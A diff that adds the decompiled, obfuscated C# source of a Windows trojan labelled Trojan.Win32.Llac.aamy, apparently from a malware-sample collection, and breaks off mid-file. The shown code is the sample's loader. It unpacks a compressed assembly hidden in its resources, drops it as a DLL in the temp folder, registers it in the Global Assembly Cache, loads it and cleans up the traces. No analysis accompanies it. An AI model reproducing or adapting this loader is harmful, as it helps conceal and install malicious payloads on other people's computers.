+    <ProjectGuid>{BF737CAE-987B-4602-847D-591D033E08E3}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>syncuiLoader</AssemblyName>
+    <ApplicationVersion>0.0.0.0</ApplicationVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Web.Services" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="_003CModule_003E.cs" />
+    <Compile Include="_0002\_0001.cs" />
+    <Compile Include="_0002\_0002.cs" />
+    <Compile Include="_0002\_0003.cs" />
+    <Compile Include="_0002\_0004.cs" />
+    <Compile Include="_0002\_0005.cs" />
+    <Compile Include="_0002\Token2000045.cs" />
+    <Compile Include="_0003\_0001.cs" />
+    <Compile Include="_0003\_0002.cs" />
+    <Compile Include="_0003\_0003.cs" />
+    <Compile Include="_0003\_0004.cs" />
+    <Compile Include="_0003\_0005.cs" />
+    <Compile Include="_0003\Token2000046.cs" />
+    <Compile Include="_0005\_0001.cs" />
+    <Compile Include="_0005\_0002.cs" />
+    <Compile Include="_0005\_0003.cs" />
+    <Compile Include="_0005\_0004.cs" />
+    <Compile Include="_0005\_0005.cs" />
+    <Compile Include="_0005\Token2000049.cs" />
+    <Compile Include="_0006\_0001.cs" />
+    <Compile Include="_0006\_0002.cs" />
+    <Compile Include="_0006\_0003.cs" />
+    <Compile Include="_0006\_0004.cs" />
+    <Compile Include="_0006\Token200004A.cs" />
+    <Compile Include="_0001\_0001.cs" />
+    <Compile Include="_0001\_0002.cs" />
+    <Compile Include="_0001\_0003.cs" />
+    <Compile Include="_0001\_0004.cs" />
+    <Compile Include="_0001\_0005.cs" />
+    <Compile Include="_0001\Token2000044.cs" />
+    <Compile Include="_0004\_0001.cs" />
+    <Compile Include="_0004\_0002.cs" />
+    <Compile Include="_0004\_0003.cs" />
+    <Compile Include="_0004\_0004.cs" />
+    <Compile Include="_0004\_0005.cs" />
+    <Compile Include="_0004\Token2000047.cs" />
+    <Compile Include="SmartAssembly\SmartExceptionsCore\UploadReportLoginService.cs" />
+    <Compile Include="SmartAssembly\SmartExceptionsCore\ReportingService.cs" />
+    <Compile Include="SmartAssembly\SmartExceptionsCore\UnhandledException.cs" />
+    <Compile Include="SmartAssembly\SmartExceptionsCore\Token2000048.cs" />
+    <Compile Include="SmartAssembly\Attributes\PoweredByAttribute.cs" />
+    <Compile Include="SmartAssembly\Attributes\Token200004B.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="{a20cd604-49cf-4ebe-a00c-0da3002f5679}" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/Trojan.Win32.Llac.aamy.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "syncuiLoader", "Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.csproj", "{BF737CAE-987B-4602-847D-591D033E08E3}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{BF737CAE-987B-4602-847D-591D033E08E3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{BF737CAE-987B-4602-847D-591D033E08E3}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{BF737CAE-987B-4602-847D-591D033E08E3}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{BF737CAE-987B-4602-847D-591D033E08E3}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0001/Token2000044.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.Token2000044
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+namespace \u0001
+{
+  internal class Token2000044 : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0001/_0001.cs

@@ -0,0 +1,125 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.

+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using SmartAssembly.SmartExceptionsCore;
+using System;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace \u0001
+{
+  internal sealed class \u0001
+  {
+    private static \u0001.\u0001 \u0001;
+    private long \u0001;
+
+    [DllImport("kernel32", EntryPoint = "SetProcessWorkingSetSize")]
+    private static extern int \u0003(
+      IntPtr process,
+      int minimumWorkingSetSize,
+      int maximumWorkingSetSize);
+
+    private void \u0003()
+    {
+      Process currentProcess;
+      try
+      {
+        try
+        {
+          currentProcess = Process.GetCurrentProcess();
+          try
+          {
+            \u0001.\u0001.\u0003(currentProcess.Handle, -1, -1);
+          }
+          finally
+          {
+            currentProcess?.Dispose();
+          }
+        }
+        catch
+        {
+        }
+      }
+      catch (Exception ex)
+      {
+        Process process = currentProcess;
+        throw UnhandledException.\u0003(ex, (object) process, (object) this);
+      }
+    }
+
+    private void \u0003(object sender, EventArgs e)
+    {
+      DateTime now;
+      long ticks;
+      try
+      {
+        try
+        {
+          now = DateTime.Now;
+          ticks = now.Ticks;
+          if (ticks - this.\u0001 <= 10000000L)
+            return;
+          this.\u0001 = ticks;
+          this.\u0003();
+        }
+        catch
+        {
+        }
+      }
+      catch (Exception ex)
+      {
+        // ISSUE: variable of a boxed type
+        __Boxed<long> local1 = (ValueType) ticks;
+        // ISSUE: variable of a boxed type
+        __Boxed<DateTime> local2 = (ValueType) now;
+        object obj = sender;
+        EventArgs eventArgs = e;
+        throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, obj, (object) eventArgs);
+      }
+    }
+
+    private \u0001()
+    {
+      DateTime now = DateTime.Now;
+      this.\u0001 = now.Ticks;
+      // ISSUE: explicit constructor call
+      base.\u002Ector();
+      try
+      {
+        // ISSUE: method pointer
+        Application.Idle += new EventHandler((object) this, __methodptr(\u0003));
+        this.\u0003();
+      }
+      catch (Exception ex)
+      {
+        // ISSUE: variable of a boxed type
+        __Boxed<DateTime> local = (ValueType) now;
+        throw UnhandledException.\u0003(ex, (object) local, (object) this);
+      }
+    }
+
+    public static void \u0004()
+    {
+      try
+      {
+        try
+        {
+          if (Environment.OSVersion.Platform != PlatformID.Win32NT)
+            return;
+          \u0001.\u0001.\u0001 = new \u0001.\u0001();
+        }
+        catch
+        {
+        }
+      }
+      catch (Exception ex)
+      {
+        throw UnhandledException.\u0003(ex);
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0001/_0002.cs

@@ -0,0 +1,44 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0001;
+using SmartAssembly.SmartExceptionsCore;
+using System;
+
+namespace \u0001
+{
+  internal sealed class \u0002
+  {
+    public static void \u0003()
+    {
+      try
+      {
+        try
+        {
+          \u0003.\u0003();
+        }
+        catch (Exception ex)
+        {
+        }
+      }
+      catch (Exception ex)
+      {
+        throw UnhandledException.\u0003(ex);
+      }
+    }
+
+    public \u0002()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        throw UnhandledException.\u0003(ex, (object) this);
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0001/_0003.cs

@@ -0,0 +1,93 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0001;
+using SmartAssembly.SmartExceptionsCore;
+using System;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Threading;
+
+namespace \u0001
+{
+  internal sealed class \u0003
+  {
+    private static Assembly \u0001;
+    private static string[] \u0001;
+
+    internal static void \u0003()
+    {
+      try
+      {
+        try
+        {
+          AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0003.\u0003);
+        }
+        catch (Exception ex)
+        {
+        }
+      }
+      catch (Exception ex)
+      {
+        throw UnhandledException.\u0003(ex);
+      }
+    }
+
+    internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1)
+    {
+      string[] strArray1;
+      string name;
+      int index;
+      try
+      {
+        if ((object) \u0003.\u0001 == null)
+        {
+          Monitor.Enter((object) (strArray1 = \u0003.\u0001));
+          try
+          {
+            \u0003.\u0001 = Assembly.Load("{a20cd604-49cf-4ebe-a00c-0da3002f5679}, PublicKeyToken=3e56350693f7355e");
+            if ((object) \u0003.\u0001 != null)
+              \u0003.\u0001 = \u0003.\u0001.GetManifestResourceNames();
+          }
+          finally
+          {
+            Monitor.Exit((object) strArray1);
+          }
+        }
+        name = obj1.Name;
+        for (index = 0; index < \u0003.\u0001.Length; ++index)
+        {
+          if (\u0003.\u0001[index] == name)
+            return \u0003.\u0001;
+        }
+        return (Assembly) null;
+      }
+      catch (Exception ex)
+      {
+        string str = name;
+        // ISSUE: variable of a boxed type
+        __Boxed<int> local = (ValueType) index;
+        string[] strArray2 = strArray1;
+        object obj = obj0;
+        ResolveEventArgs resolveEventArgs = obj1;
+        throw UnhandledException.\u0003(ex, (object) str, (object) local, (object) strArray2, obj, (object) resolveEventArgs);
+      }
+    }
+
+    static \u0003()
+    {
+      try
+      {
+        \u0003.\u0001 = (Assembly) null;
+        \u0003.\u0001 = new string[0];
+      }
+      catch (Exception ex)
+      {
+        throw UnhandledException.\u0003(ex);
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0001/_0004.cs

@@ -0,0 +1,523 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0001;
+using SmartAssembly.SmartExceptionsCore;
+using System;
+using System.Collections;
+using System.Diagnostics;
+using System.IO;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Threading;
+
+namespace \u0001
+{
+  internal sealed class \u0004
+  {
+    private static Hashtable \u0001;
+
+    [DllImport("kernel32", EntryPoint = "MoveFileEx")]
+    private static extern bool \u0003([In] string obj0, [In] string obj1, [In] int obj2);
+
+    [SpecialName]
+    internal static bool \u0003()
+    {
+      string lower;
+      try
+      {
+        bool flag;
+        try
+        {
+          lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower();
+          if (lower == "w3wp.exe")
+          {
+            flag = true;
+            goto label_6;
+          }
+          else if (lower == "aspnet_wp.exe")
+          {
+            flag = true;
+            goto label_6;
+          }
+        }
+        catch (Exception ex)
+        {
+        }
+        return false;
+label_6:
+        return flag;
+      }
+      catch (Exception ex)
+      {
+        string str = lower;
+        bool flag;
+        // ISSUE: variable of a boxed type
+        __Boxed<bool> local = (ValueType) flag;
+        throw UnhandledException.\u0003(ex, (object) str, (object) local);
+      }
+    }
+
+    internal static void \u0003()
+    {
+      char[] chArray;
+      string[] strArray;
+      int index;
+      string s;
+      string str1;
+      string name;
+      int num;
+      string str2;
+      bool flag;
+      Stream manifestResourceStream;
+      int length;
+      byte[] buffer;
+      string path1;
+      \u0004.\u0001 obj;
+      string path2;
+      FileStream fileStream;
+      try
+      {
+        try
+        {
+          AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0004.\u0003);
+          if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0004.\u0003())
+            return;
+          chArray = new char[1]{ ',' };
+          strArray = "e2EyMGNkNjA0LTQ5Y2YtNGViZS1hMDBjLTBkYTMwMDJmNTY3OX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{a20cd604-49cf-4ebe-a00c-0da3002f5679}".Split(chArray);
+          for (index = 0; index < strArray.Length - 1; index += 2)
+          {
+            try
+            {
+              s = strArray[index];
+              str1 = Encoding.UTF8.GetString(Convert.FromBase64String(s));
+              name = strArray[index + 1];
+              if (name.Length > 0)
+              {
+                if (name[0] == '[')
+                {
+                  num = name.IndexOf(']');
+                  str2 = name.Substring(1, num - 1);
+                  name = name.Substring(num + 1);
+                  flag = str2.IndexOf('z') >= 0;
+                  if (str2.IndexOf('f') >= 0)
+                  {
+                    manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
+                    if (manifestResourceStream != null)
+                    {
+                      length = (int) manifestResourceStream.Length;
+                      buffer = new byte[length];
+                      manifestResourceStream.Read(buffer, 0, length);
+                      if (flag)
+                        buffer = \u0002.\u0002.\u0003(buffer);
+                      try
+                      {
+                        path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) name);
+                        Directory.CreateDirectory(path1);
+                        obj = new \u0004.\u0001(str1);
+                        path2 = path1 + obj.\u0001 + ".dll";
+                        if (!File.Exists(path2))
+                        {
+                          fileStream = File.OpenWrite(path2);
+                          fileStream.Write(buffer, 0, buffer.Length);
+                          fileStream.Close();
+                        }
+                        \u0005.\u0003(path2);
+                        try
+                        {
+                          File.Delete(path2);
+                          Directory.Delete(path1);
+                        }
+                        catch
+                        {
+                        }
+                      }
+                      catch (Exception ex)
+                      {
+                      }
+                    }
+                  }
+                }
+              }
+            }
+            catch (Exception ex)
+            {
+            }
+          }
+        }
+        catch (Exception ex)
+        {
+        }
+      }
+      catch (Exception ex)
+      {
+        object[] objArray = new object[16]
+        {
+          (object) strArray,
+          (object) index,
+          (object) s,
+          (object) str1,
+          (object) name,
+          (object) num,
+          (object) str2,
+          (object) flag,
+          (object) manifestResourceStream,
+          (object) length,
+          (object) buffer,
+          (object) path1,
+          (object) obj,
+          (object) path2,
+          (object) fileStream,
+          (object) chArray
+        };
+        throw UnhandledException.\u0003(ex, objArray);
+      }
+    }
+
+    internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1)
+    {
+      \u0004.\u0001 obj;
+      string s;
+      string base64String;
+      char[] chArray;
+      string[] strArray;
+      string str1;
+      bool flag1;
+      bool flag2;
+      bool flag3;
+      int index1;
+      int index2;
+      int num;
+      string str2;
+      Hashtable hashtable1;
+      Assembly assembly1;
+      Stream manifestResourceStream;
+      int length;
+      byte[] numArray;
+      string path1;
+      string path2;
+      Assembly assembly2;
+      FileStream fileStream1;
+      Hashtable hashtable2;
+      Assembly assembly3;
+      string path3;
+      string path4;
+      FileStream fileStream2;
+      Hashtable hashtable3;
+      try
+      {
+        obj = new \u0004.\u0001(obj1.Name);
+        s = obj.\u0003(false);
+        base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(s));
+        chArray = new char[1]{ ',' };
+        strArray = "e2EyMGNkNjA0LTQ5Y2YtNGViZS1hMDBjLTBkYTMwMDJmNTY3OX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{a20cd604-49cf-4ebe-a00c-0da3002f5679}".Split(chArray);
+        str1 = string.Empty;
+        flag1 = false;
+        flag2 = false;
+        flag3 = false;
+        for (index1 = 0; index1 < strArray.Length - 1; index1 += 2)
+        {
+          if (strArray[index1] == base64String)
+          {
+            str1 = strArray[index1 + 1];
+            break;
+          }
+        }
+        if (str1.Length == 0 && obj.\u0003.Length == 0)
+        {
+          base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001));
+          for (index2 = 0; index2 < strArray.Length - 1; index2 += 2)
+          {
+            if (strArray[index2] == base64String)
+            {
+              str1 = strArray[index2 + 1];
+              break;
+            }
+          }
+        }
+        if (str1.Length > 0)
+        {
+          if (str1[0] == '[')
+          {
+            num = str1.IndexOf(']');
+            str2 = str1.Substring(1, num - 1);
+            flag1 = str2.IndexOf('z') >= 0;
+            flag2 = str2.IndexOf('g') >= 0;
+            flag3 = str2.IndexOf('t') >= 0;
+            str1 = str1.Substring(num + 1);
+          }
+          Monitor.Enter((object) (hashtable1 = \u0004.\u0001));
+          try
+          {
+            if (\u0004.\u0001.ContainsKey((object) str1))
+            {
+              assembly1 = (Assembly) \u0004.\u0001[(object) str1];
+              goto label_47;
+            }
+          }
+          finally
+          {
+            Monitor.Exit((object) hashtable1);
+          }
+          manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1);
+          if (manifestResourceStream != null)
+          {
+            length = (int) manifestResourceStream.Length;
+            numArray = new byte[length];
+            manifestResourceStream.Read(numArray, 0, length);
+            if (flag1)
+              numArray = \u0002.\u0002.\u0003(numArray);
+            if (flag2)
+            {
+              try
+              {
+                path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1);
+                Directory.CreateDirectory(path1);
+                path2 = path1 + obj.\u0001 + ".dll";
+                if (!File.Exists(path2))
+                {
+                  assembly2 = (Assembly) null;
+                  fileStream1 = File.OpenWrite(path2);
+                  fileStream1.Write(numArray, 0, numArray.Length);
+                  fileStream1.Close();
+                  if (\u0005.\u0003(path2))
+                    assembly2 = Assembly.Load(obj.\u0003(true));
+                  File.Delete(path2);
+                  Directory.Delete(path1);
+                  if ((object) assembly2 != null)
+                  {
+                    Monitor.Enter((object) (hashtable2 = \u0004.\u0001));
+                    try
+                    {
+                      if (\u0004.\u0001.ContainsKey((object) str1))
+                        assembly2 = (Assembly) \u0004.\u0001[(object) str1];
+                      else
+                        \u0004.\u0001.Add((object) str1, (object) assembly2);
+                    }
+                    finally
+                    {
+                      Monitor.Exit((object) hashtable2);
+                    }
+                    assembly1 = assembly2;
+                    goto label_47;
+                  }
+                }
+              }
+              catch
+              {
+              }
+            }
+            assembly3 = (Assembly) null;
+            if (!flag3)
+            {
+              try
+              {
+                assembly3 = Assembly.Load(numArray);
+              }
+              catch (FileLoadException ex)
+              {
+                flag3 = true;
+              }
+              catch (BadImageFormatException ex)
+              {
+                flag3 = true;
+              }
+            }
+            if (flag3)
+            {
+              try
+              {
+                path3 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1);
+                Directory.CreateDirectory(path3);
+                path4 = path3 + obj.\u0001 + ".dll";
+                if (!File.Exists(path4))
+                {
+                  fileStream2 = File.OpenWrite(path4);
+                  fileStream2.Write(numArray, 0, numArray.Length);
+                  fileStream2.Close();
+                  \u0004.\u0003(path4, (string) null, 4);
+                  \u0004.\u0003(path3, (string) null, 4);
+                }
+                assembly3 = Assembly.LoadFile(path4);
+              }
+              catch
+              {
+              }
+            }
+            Monitor.Enter((object) (hashtable3 = \u0004.\u0001));
+            try
+            {
+              \u0004.\u0001.Add((object) str1, (object) assembly3);
+            }
+            finally
+            {
+              Monitor.Exit((object) hashtable3);
+            }
+            return assembly3;
+          }
+          goto label_46;
+label_47:
+          return assembly1;
+        }
+label_46:
+        return (Assembly) null;
+      }
+      catch (Exception ex)
+      {
+        object[] objArray = new object[30]
+        {
+          (object) obj,
+          (object) s,
+          (object) base64String,
+          (object) strArray,
+          (object) str1,
+          (object) flag1,
+          (object) flag2,
+          (object) flag3,
+          (object) index1,
+          (object) index2,
+          (object) num,
+          (object) str2,
+          (object) manifestResourceStream,
+          (object) length,
+          (object) numArray,
+          (object) path1,
+          (object) path2,
+          (object) assembly2,
+          (object) fileStream1,
+          (object) assembly3,
+          (object) path3,
+          (object) path4,
+          (object) fileStream2,
+          (object) assembly1,
+          (object) chArray,
+          (object) hashtable1,
+          (object) hashtable2,
+          (object) hashtable3,
+          obj0,
+          (object) obj1
+        };
+        throw UnhandledException.\u0003(ex, objArray);
+      }
+    }
+
+    public \u0004()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        throw UnhandledException.\u0003(ex, (object) this);
+      }
+    }
+
+    static \u0004()
+    {
+      try
+      {
+        \u0004.\u0001 = new Hashtable();
+      }
+      catch (Exception ex)
+      {
+        throw UnhandledException.\u0003(ex);
+      }
+    }
+
+    internal struct \u0001
+    {
+      public string \u0001;
+      public Version \u0001;
+      public string \u0002;
+      public string \u0003;
+
+      public string \u0003([In] bool obj0)
+      {
+        StringBuilder stringBuilder1;
+        try
+        {
+          stringBuilder1 = new StringBuilder();
+          stringBuilder1.Append(this.\u0001);
+          if (obj0)
+          {
+            stringBuilder1.Append(", Version=");
+            stringBuilder1.Append((object) this.\u0001);
+          }
+          stringBuilder1.Append(", Culture=");
+          stringBuilder1.Append(this.\u0002.Length == 0 ? "neutral" : this.\u0002);
+          stringBuilder1.Append(", PublicKeyToken=");
+          stringBuilder1.Append(this.\u0003.Length == 0 ? "null" : this.\u0003);
+          return stringBuilder1.ToString();
+        }
+        catch (Exception ex)
+        {
+          StringBuilder stringBuilder2 = stringBuilder1;
+          // ISSUE: variable of a boxed type
+          __Boxed<\u0004.\u0001> local1 = (ValueType) this;
+          // ISSUE: variable of a boxed type
+          __Boxed<bool> local2 = (ValueType) obj0;
+          throw UnhandledException.\u0003(ex, (object) stringBuilder2, (object) local1, (object) local2);
+        }
+      }
+
+      public \u0001([In] string obj0)
+      {
+        char[] chArray1;
+        string[] strArray1;
+        int index;
+        string str1;
+        string str2;
+        try
+        {
+          this.\u0001 = new Version();
+          this.\u0002 = string.Empty;
+          this.\u0003 = string.Empty;
+          this.\u0001 = string.Empty;
+          string str3 = obj0;
+          chArray1 = new char[1]{ ',' };
+          char[] chArray2 = chArray1;
+          strArray1 = str3.Split(chArray2);
+          for (index = 0; index < strArray1.Length; ++index)
+          {
+            str1 = strArray1[index];
+            str2 = str1.Trim();
+            if (str2.StartsWith("Version="))
+              this.\u0001 = new Version(str2.Substring(8));
+            else if (str2.StartsWith("Culture="))
+            {
+              this.\u0002 = str2.Substring(8);
+              if (this.\u0002 == "neutral")
+                this.\u0002 = string.Empty;
+            }
+            else if (str2.StartsWith("PublicKeyToken="))
+            {
+              this.\u0003 = str2.Substring(15);
+              if (this.\u0003 == "null")
+                this.\u0003 = string.Empty;
+            }
+            else
+              this.\u0001 = str2;
+          }
+        }
+        catch (Exception ex)
+        {
+          string str4 = str1;
+          string str5 = str2;
+          char[] chArray3 = chArray1;
+          string[] strArray2 = strArray1;
+          // ISSUE: variable of a boxed type
+          __Boxed<int> local1 = (ValueType) index;
+          // ISSUE: variable of a boxed type
+          __Boxed<\u0004.\u0001> local2 = (ValueType) this;
+          string str6 = obj0;
+          throw UnhandledException.\u0003(ex, (object) str4, (object) str5, (object) chArray3, (object) strArray2, (object) local1, (object) local2, (object) str6);
+        }
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0001/_0005.cs

@@ -0,0 +1,204 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0001;
+using SmartAssembly.SmartExceptionsCore;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0001
+{
+  internal sealed class \u0005
+  {
+    [DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)]
+    internal static extern int \u0003(out \u0005.\u0007 ppAsmCache, uint dwReserved);
+
+    public static bool \u0003([In] string obj0)
+    {
+      \u0005.\u0007 ppAsmCache;
+      int num;
+      try
+      {
+        ppAsmCache = (\u0005.\u0007) null;
+        num = \u0005.\u0003(out ppAsmCache, 0U);
+        if (num != 0)
+          return false;
+        num = ppAsmCache.\u0002(0U, obj0, IntPtr.Zero);
+        return num == 0;
+      }
+      catch (Exception ex)
+      {
+        \u0005.\u0007 obj = ppAsmCache;
+        // ISSUE: variable of a boxed type
+        __Boxed<int> local = (ValueType) num;
+        string str = obj0;
+        throw UnhandledException.\u0003(ex, (object) obj, (object) local, (object) str);
+      }
+    }
+
+    public \u0005()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        throw UnhandledException.\u0003(ex, (object) this);
+      }
+    }
+
+    public struct \u0001
+    {
+      public int \u0001;
+      public int \u0002;
+    }
+
+    public struct \u0002
+    {
+      public \u0005.\u0001 \u0001;
+      public long \u0001;
+      public Guid \u0001;
+      public \u0005.\u0001 \u0002;
+      public int \u0001;
+      public int \u0002;
+      public int \u0003;
+      public \u0005.\u0001 \u0003;
+      public string \u0001;
+      public int \u0004;
+      public int \u0005;
+    }
+
+    [Guid("0000000c-0000-0000-C000-000000000046")]
+    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
+    [ComImport]
+    public interface \u0003
+    {
+      void \u0001(IntPtr pv, uint cb, out uint pcbRead);
+
+      void \u0002(IntPtr pv, uint cb, out uint pcbWritten);
+
+      void \u0001(long dlibMove, uint dwOrigin, out ulong plibNewPosition);
+
+      void \u0001(ulong libNewSize);
+
+      void \u0001(\u0005.\u0003 pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten);
+
+      void \u0001(uint grfCommitFlags);
+
+      void \u0001();
+
+      void \u0001(ulong libOffset, ulong cb, uint dwLockType);
+
+      void \u0002(ulong libOffset, ulong cb, uint dwLockType);
+
+      void \u0001(out \u0005.\u0002 pstatstg, uint grfStatFlag);
+
+      void \u0001(out \u0005.\u0003 ppstm);
+    }
+
+    [Guid("7c23ff90-33af-11d3-95da-00a024a85b51")]
+    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
+    [ComImport]
+    internal interface \u0004
+    {
+      void \u0001(\u0005.\u0005 pName);
+
+      void \u0001(out \u0005.\u0005 ppName);
+
+      void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags);
+
+      void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags);
+
+      void \u0001(out int wzDynamicDir, ref uint pdwSize);
+    }
+
+    [Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")]
+    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
+    [ComImport]
+    internal interface \u0005
+    {
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(uint PropertyId, IntPtr pvProperty, uint cbProperty);
+
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty);
+
